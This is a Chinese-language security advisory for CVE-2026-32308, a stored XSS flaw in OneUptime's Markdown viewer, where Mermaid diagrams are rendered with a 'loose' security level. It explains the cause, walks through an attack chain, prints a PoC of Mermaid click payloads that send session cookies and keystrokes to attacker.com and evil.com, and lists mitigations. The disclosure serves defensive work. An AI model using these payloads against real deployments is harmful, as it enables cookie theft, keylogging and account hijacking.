IPBUF安全漏洞报告
English
CVE-2026-32308 CVSS 7.6 高危

CVE-2026-32308 OneUptime Mermaid图表XSS跨站脚本漏洞

披露日期: 2026-03-13

漏洞信息

漏洞编号
CVE-2026-32308
漏洞类型
XSS跨站脚本攻击
CVSS评分
7.6 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
OneUptime

相关标签

XSSOneUptimeMermaidMarkdown存储型XSSCVE-2026-32308高危漏洞innerHTMLJavaScript注入

漏洞概述

OneUptime是一款用于监控和管理在线服务的开源解决方案。该漏洞存在于OneUptime的Markdown查看器组件中,在10.0.23之前的版本中,组件在渲染Mermaid图表时使用了securityLevel: "loose"的安全级别配置,并通过innerHTML方式注入SVG输出。这种配置明确允许Mermaid图表中的交互式事件绑定,攻击者可以利用Mermaid的click指令执行任意JavaScript代码,从而实现存储型XSS攻击。任何支持Markdown渲染的字段都受影响,包括事件描述(incident descriptions)、状态页面公告(status page announcements)和监控器备注(monitor notes)。由于OneUptime通常部署在企业内部网络用于服务监控,攻击者可通过社工手段诱导管理员查看恶意内容,进而窃取会话Cookie、劫持管理员账户或执行进一步的内网渗透攻击。该漏洞CVSS评分7.6,属于高危级别,具有网络可利用性但需要低权限用户配合交互才能触发。

技术细节

漏洞根源在于OneUptime的Markdown渲染器在处理Mermaid图表时使用了不安全的配置。攻击者通过在Markdown内容中插入特制的Mermaid代码,利用click指令绑定JavaScript事件。当Mermaid的securityLevel设置为"loose"时,会允许图表元素响应用户点击事件并执行预定义的JavaScript代码。具体攻击payload形如:graph TD; a-->b; click a alert(document.cookie) - 这段Mermaid代码会创建一个流程图,其中节点a被绑定了点击事件,触发时执行alert(document.cookie)。由于渲染结果通过innerHTML直接注入DOM,攻击者的JavaScript代码会在受害者浏览器上下文中执行。漏洞影响所有使用Markdown编辑器的功能模块,攻击者预先在受影响字段中植入恶意Mermaid代码,当管理员或其他用户查看相关内容时即触发XSS。修复方案为升级到10.0.23版本,该版本将securityLevel改为更严格的配置或使用textContent替代innerHTML进行SVG注入。

攻击链分析

STEP 1
步骤1
攻击者注册OneUptime普通用户账户或获取低权限账户凭据
STEP 2
步骤2
攻击者在支持Markdown的字段(如事件描述、状态页面公告、监控器备注)中插入包含恶意Mermaid代码的内容
STEP 3
步骤3
恶意Mermaid代码使用click指令绑定javascript:伪协议的点击事件,如:click node "javascript:alert(document.cookie)"
STEP 4
步骤4
当管理员或高权限用户查看包含恶意内容的页面时,Markdown渲染器以securityLevel: "loose"配置处理Mermaid图表
STEP 5
步骤5
浏览器解析渲染后的HTML时,innerHTML注入的SVG元素包含攻击者绑定的点击事件处理器
STEP 6
步骤6
用户点击图表中的恶意节点时,JavaScript代码在受害者浏览器上下文中执行,导致Cookie窃取或会话劫持

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2026-32308 PoC - OneUptime Mermaid XSS // Attack vector: Insert malicious Mermaid code in any Markdown field const maliciousMermaid = ` graph TD A["Click me for more info"] --> B["Processing..."] click A "javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)" style A fill:#f00,color:#fff `; // XSS Payload for stealing session cookies const xssPayload = ` graph TD A["Incident Report"] --> B["Click to view details"] click B "javascript:document.location='https://evil.com/log?c='+document.cookie" `; // Alternative payload - Keylogger const keyloggerPayload = ` sequenceDiagram participant U as User participant A as Attacker U->>A: Click to continue click U "javascript:document.onkeypress=function(e){fetch('https://attacker.com/k?'+e.key)}" `; // The PoC demonstrates that any Mermaid click directive with javascript: prefix // will execute arbitrary JavaScript when the user clicks on the node. // This works because OneUptime renders Mermaid with securityLevel: "loose" // and injects the SVG via innerHTML without sanitization.

影响范围

OneUptime < 10.0.23

防御指南

临时缓解措施
如果无法立即升级,可临时采取以下措施:1) 在Web应用防火墙(WAF)中配置规则,检测并阻止包含Mermaid click指令的请求;2) 限制普通用户创建或编辑Markdown内容的权限;3) 对所有Markdown渲染输出添加额外的HTML净化处理;4) 监控和审计包含可疑Mermaid代码的日志记录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表